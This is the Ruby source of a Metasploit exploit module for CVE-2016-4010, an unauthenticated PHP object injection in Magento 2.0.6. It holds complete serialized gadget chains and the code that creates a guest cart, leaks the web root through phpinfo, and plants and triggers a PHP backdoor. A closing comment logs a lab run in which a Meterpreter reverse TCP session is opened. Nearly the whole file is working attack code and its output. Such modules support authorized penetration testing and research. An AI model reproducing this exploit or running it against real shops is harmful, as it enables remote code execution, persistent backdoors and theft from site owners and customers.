## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution', 'Description' => %q{ This module exploits a PHP object injection vulnerability in Magento 2.0.6 or prior. }, 'Platform' => 'php', 'License' => MSF_LICENSE, 'Author' => [ 'Netanel Rubin', # original discovery 'agix', # original exploit 'mr_me <mr_me[at]offensive-security.com>', # metasploit module ], 'Payload' => { 'BadChars' => "\x22", }, 'References' => [ ['CVE', '2016-4010'], ['EDB', '39838'], ['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'], ['URL', 'https://magento.com/security/patches/magento-206-security-update'] ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], ], 'DisclosureDate' => 'May 17 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ], self.class) end def print_good(msg='') super("#{peer} - #{msg}") end def get_phpinfo # uses the Magento_Framework_DB_Transaction class serialize = 'O:13:\"Credis_Client\":22:{' serialize << 's:8:\"\u0000*\u0000redis\";' serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{' serialize << 's:9:\"\u0000*\u0000_order\";N;' serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;' serialize << 's:12:\"\u0000*\u0000_children\";N;' serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;' serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;' serialize << 's:14:\"\u0000*\u0000_isFailsafe\";' serialize << 'b:1;' serialize << 's:12:\"\u0000*\u0000_hasChild\";N;' serialize << 's:15:\"\u0000*\u0000_eventPrefix\";' serialize << 's:31:\"sales_order_payment_transaction\";' serialize << 's:15:\"\u0000*\u0000_eventObject\";' serialize << 's:25:\"order_payment_transaction\";' serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;' serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;' serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;' serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;' serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;' serialize << 's:18:\"\u0000*\u0000orderRepository\";N;' serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;' serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;' serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;' serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;' serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;' serialize << 's:15:\"\u0000*\u0000_idFieldName\";' serialize << 's:2:\"id\";' serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";' serialize << 'b:0;' serialize << 's:12:\"\u0000*\u0000_origData\";N;' serialize << 's:13:\"\u0000*\u0000_isDeleted\";' serialize << 'b:0;' serialize << 's:12:\"\u0000*\u0000_resource\";' serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{' serialize << 's:11:\"\u0000*\u0000_objects\";' serialize << 'a:0:{}' serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";' serialize << 'a:0:{}' serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";' serialize << 'a:1:{' serialize << 'i:0;' serialize << 's:7:\"phpinfo\";}}' # the rub serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;' serialize << 's:16:\"\u0000*\u0000_resourceName\";N;' serialize << 's:18:\"\u0000*\u0000_collectionName\";N;' serialize << 's:12:\"\u0000*\u0000_cacheTag\";' serialize << 'b:0;' serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";' serialize << 'b:1;' serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;' serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;' serialize << 's:16:\"\u0000*\u0000_eventManager\";N;' serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;' serialize << 's:12:\"\u0000*\u0000_registry\";N;' serialize << 's:10:\"\u0000*\u0000_logger\";N;' serialize << 's:12:\"\u0000*\u0000_appState\";N;' serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;' serialize << 's:13:\"\u0000*\u0000storedData\";' serialize << 'a:0:{}' serialize << 's:8:\"\u0000*\u0000_data\";' serialize << 'a:0:{}}' serialize << 's:13:\"\u0000*\u0000redisMulti\";N;' serialize << 's:7:\"\u0000*\u0000host\";N;' serialize << 's:7:\"\u0000*\u0000port\";N;' serialize << 's:10:\"\u0000*\u0000timeout\";N;' serialize << 's:14:\"\u0000*\u0000readTimeout\";N;' serialize << 's:13:\"\u0000*\u0000persistent\";N;' serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";' serialize << 'b:1;' serialize << 's:12:\"\u0000*\u0000connected\";' serialize << 'b:1;' serialize << 's:13:\"\u0000*\u0000standalone\";N;' serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";' serialize << 'i:0;' serialize << 's:18:\"\u0000*\u0000connectFailures\";' serialize << 'i:0;' serialize << 's:14:\"\u0000*\u0000usePipeline\";' serialize << 'b:0;' serialize << 's:15:\"\u0000*\u0000commandNames\";N;' serialize << 's:11:\"\u0000*\u0000commands\";N;' serialize << 's:10:\"\u0000*\u0000isMulti\";' serialize << 'b:0;' serialize << 's:13:\"\u0000*\u0000isWatching\";' serialize << 'b:0;' serialize << 's:15:\"\u0000*\u0000authPassword\";N;' serialize << 's:13:\"\u0000*\u0000selectedDb\";' serialize << 'i:0;' serialize << 's:17:\"\u0000*\u0000wrapperMethods\";' serialize << 'a:3:{' serialize << 's:6:\"delete\";' serialize << 's:3:\"del\";' serialize << 's:7:\"getkeys\";' serialize << 's:4:\"keys\";' serialize << 's:7:\"sremove\";' serialize << 's:4:\"srem\";}' serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;' serialize << 's:11:\"\u0000*\u0000requests\";' serialize << 'i:0;}' serialize end def get_phpshell s = "#{@webroot}/#{@backdoor}" p = "<?php #{payload.encoded} ?>" # uses the Magento_Framework_Simplexml_Config_Cache_File class serialize = 'O:13:\"Credis_Client\":22:{' serialize << 's:8:\"\u0000*\u0000redis\";' serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{' serialize << 's:9:\"\u0000*\u0000_order\";N;' serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;' serialize << 's:12:\"\u0000*\u0000_children\";N;' serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;' serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";' serialize << 'b:1;' serialize << 's:14:\"\u0000*\u0000_isFailsafe\";' serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;' serialize << 's:15:\"\u0000*\u0000_eventPrefix\";' serialize << 's:31:\"sales_order_payment_transaction\";' serialize << 's:15:\"\u0000*\u0000_eventObject\";' serialize << 's:25:\"order_payment_transaction\";' serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;' serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;' serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;' serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;' serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;' serialize << 's:18:\"\u0000*\u0000orderRepository\";N;' serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;' serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;' serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;' serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;' serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;' serialize << 's:15:\"\u0000*\u0000_idFieldName\";' serialize << 's:2:\"id\";' serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";' serialize << 'b:0;' serialize << 's:12:\"\u0000*\u0000_origData\";N;' serialize << 's:13:\"\u0000*\u0000_isDeleted\";' serialize << 'b:0;' serialize << 's:12:\"\u0000*\u0000_resource\";' serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{' serialize << 's:8:\"\u0000*\u0000_data\";' serialize << 'a:3:{' serialize << 's:18:\"is_allowed_to_save\";' serialize << 'b:1;' serialize << 's:14:\"stat_file_name\";' serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell serialize << 's:10:\"components\";' serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;' serialize << 's:16:\"\u0000*\u0000_resourceName\";N;' serialize << 's:18:\"\u0000*\u0000_collectionName\";N;' serialize << 's:12:\"\u0000*\u0000_cacheTag\";' serialize << 'b:0;' serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";' serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;' serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;' serialize << 's:16:\"\u0000*\u0000_eventManager\";N;' serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;' serialize << 's:12:\"\u0000*\u0000_registry\";N;' serialize << 's:10:\"\u0000*\u0000_logger\";N;' serialize << 's:12:\"\u0000*\u0000_appState\";N;' serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;' serialize << 's:13:\"\u0000*\u0000storedData\";' serialize << 'a:0:{}' serialize << 's:8:\"\u0000*\u0000_data\";' serialize << 'a:0:{}}' serialize << 's:13:\"\u0000*\u0000redisMulti\";N;' serialize << 's:7:\"\u0000*\u0000host\";N;' serialize << 's:7:\"\u0000*\u0000port\";N;' serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;' serialize << 's:13:\"\u0000*\u0000persistent\";N;' serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";' serialize << 'b:1;' serialize << 's:12:\"\u0000*\u0000connected\";' serialize << 'b:1;' serialize << 's:13:\"\u0000*\u0000standalone\";N;' serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";' serialize << 'i:0;' serialize << 's:18:\"\u0000*\u0000connectFailures\";' serialize << 'i:0;' serialize << 's:14:\"\u0000*\u0000usePipeline\";' serialize << 'b:0;' serialize << 's:15:\"\u0000*\u0000commandNames\";N;' serialize << 's:11:\"\u0000*\u0000commands\";N;' serialize << 's:10:\"\u0000*\u0000isMulti\";' serialize << 'b:0;' serialize << 's:13:\"\u0000*\u0000isWatching\";' serialize << 'b:0;' serialize << 's:15:\"\u0000*\u0000authPassword\";N;' serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;' serialize << 's:17:\"\u0000*\u0000wrapperMethods\";' serialize << 'a:3:{' serialize << 's:6:\"delete\";' serialize << 's:3:\"del\";' serialize << 's:7:\"getkeys\";' serialize << 's:4:\"keys\";' serialize << 's:7:\"sremove\";' serialize << 's:4:\"srem\";}' serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;' serialize << 's:11:\"\u0000*\u0000requests\";' serialize << 'i:0;}' serialize end def do_check data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' data << get_phpinfo data << "\"}},\"email\":\"#{@email}\"}" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) end def define_globals @phpsessid = Rex::Text.rand_text_alphanumeric(26) @form_key = Rex::Text.rand_text_alphanumeric(26) @cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}" @email = "#{@phpsessid}@#{@form_key}.com" end def check define_globals # we actually exploit the bug, but just for a callback begin if create_fake_cart if generate_cart_id # twice, because we need to setup the phpinfo callback using # the Magento_Framework_DB_Transaction() pop chain res = "" (0..1).step(1) do |n| res = do_check end if (res && res.body.include?('phpinfo()')) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end rescue ::Rex::ConnectionError => e vprint_error(e.message) return Exploit::CheckCode::Safe end Exploit::CheckCode::Safe end def get_webroot data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' data << get_phpinfo data << "\"}},\"email\":\"#{@email}\"}" # we steal path via phpinfo res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) if res && res.code == 200 @webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/ return true end false end def create_fake_cart res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => @cookies, 'vars_get' => { 'form_key' => @form_key } }) return true if (res && res.body.include?('[]')) false end def generate_cart_id res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/checkout/cart/'), 'cookie' => @cookies, }) if res && res.code == 200 @guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/ return true end false end def backdoor data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\"" data << get_phpshell data << "\"}},\"email\":\"#{@email}\"}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) return true if (res && res.body.include?('true')) false end def exec_code send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"), }, timeout = 0.5) end def exploit define_globals @backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php" register_files_for_cleanup("#{@backdoor}") if create_fake_cart && generate_cart_id print_good("generated a guest cart id") if get_webroot && backdoor print_good("backdoor done!") exec_code end end end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc [*] Processing scripts/sam.rc for ERB directives. resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp resource (scripts/sam.rc)> set RHOST 192.168.100.13 RHOST => 192.168.100.13 resource (scripts/sam.rc)> set LHOST 192.168.100.2 LHOST => 192.168.100.2 resource (scripts/sam.rc)> set LPORT 6666 LPORT => 6666 resource (scripts/sam.rc)> check [*] 192.168.100.13:80 The target appears to be vulnerable. resource (scripts/sam.rc)> exploit [*] Started reverse TCP handler on 192.168.100.2:6666 [+] generated a guest cart id [+] backdoor done! [*] Sending stage (33721 bytes) to 192.168.100.13 [*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500 [+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php meterpreter > =end